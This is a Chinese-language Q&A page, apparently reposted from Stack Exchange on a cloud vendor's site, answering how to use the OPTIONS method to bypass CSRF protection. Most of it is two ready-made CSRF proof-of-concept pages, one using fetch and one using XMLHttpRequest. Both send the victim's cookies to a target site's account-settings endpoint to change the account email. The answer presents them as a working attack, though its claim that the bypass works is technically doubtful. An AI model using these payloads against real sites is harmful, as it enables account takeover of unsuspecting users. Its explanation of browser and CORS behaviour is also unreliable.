You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何用OPTIONS方法发送表单绕过CSRF?解决默认转GET问题

解决方案:使用JavaScript发送OPTIONS请求绕过CSRF

问题根源

HTML原生表单的method属性仅支持GET和POST两种HTTP方法,当你指定OPTIONS时,浏览器会自动将请求降级为GET,这是HTML规范的硬性限制,因此直接用表单无法实现需求。

可行方案:用JavaScript发起请求

通过JavaScript可以自由指定HTTP请求方法,包括OPTIONS,以此绕过表单的方法限制。以下是两种实用实现方式:

方式1:使用Fetch API(推荐现代浏览器)

<!DOCTYPE html>
<html>
<!-- CSRF PoC - modified to use Fetch API -->
<body>
    <script>
        // 目标请求地址(与原表单action一致)
        const targetUrl = "https://www.target.com:443/resource/UserSettingsResource/update/?source_url=%2Fsettings%2Faccount-settings%2F&data=%7B%22options%22%3A%7B%22email%22%3A%22pdsuuw%40arxxwalls.com%22%2C%22surface_tag%22%3A%22settings%22%7D%2C%22context%22%3A%7B%7D%7D";
        
        // 发送OPTIONS请求
        fetch(targetUrl, {
            method: 'OPTIONS',
            credentials: 'include' // 携带目标站点的Cookie,这是CSRF攻击生效的核心
        }).then(() => {
            console.log('OPTIONS请求已发送');
        }).catch(err => {
            console.error('请求失败:', err);
        });
    </script>
</body>
</html>

方式2:使用XMLHttpRequest(兼容老旧浏览器)

<!DOCTYPE html>
<html>
<!-- CSRF PoC - modified to use XMLHttpRequest -->
<body>
    <script>
        const targetUrl = "https://www.target.com:443/resource/UserSettingsResource/update/?source_url=%2Fsettings%2Faccount-settings%2F&data=%7B%22options%22%3A%7B%22email%22%3A%22pdsuuw%40arxxwalls.com%22%2C%22surface_tag%22%3A%22settings%22%7D%2C%22context%22%3A%7B%7D%7D";
        
        const xhr = new XMLHttpRequest();
        xhr.open('OPTIONS', targetUrl, true);
        xhr.withCredentials = true; // 强制携带Cookie
        xhr.send();
        
        xhr.onload = function() {
            console.log('OPTIONS请求已发送');
        };
    </script>
</body>
</html>

关键注意事项

  • 必须启用credentials相关配置,否则浏览器不会自动携带目标站点的Cookie,CSRF攻击无法达成。
  • 请求能否成功还受目标站点CORS策略影响:如果目标站点允许当前页面来源发送OPTIONS请求,请求会正常执行;若CORS限制严格,请求可能被拦截,这是CSRF场景下的通用限制。

内容的提问来源于stack exchange,提问作者Djallal Akira

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.21 23:18:22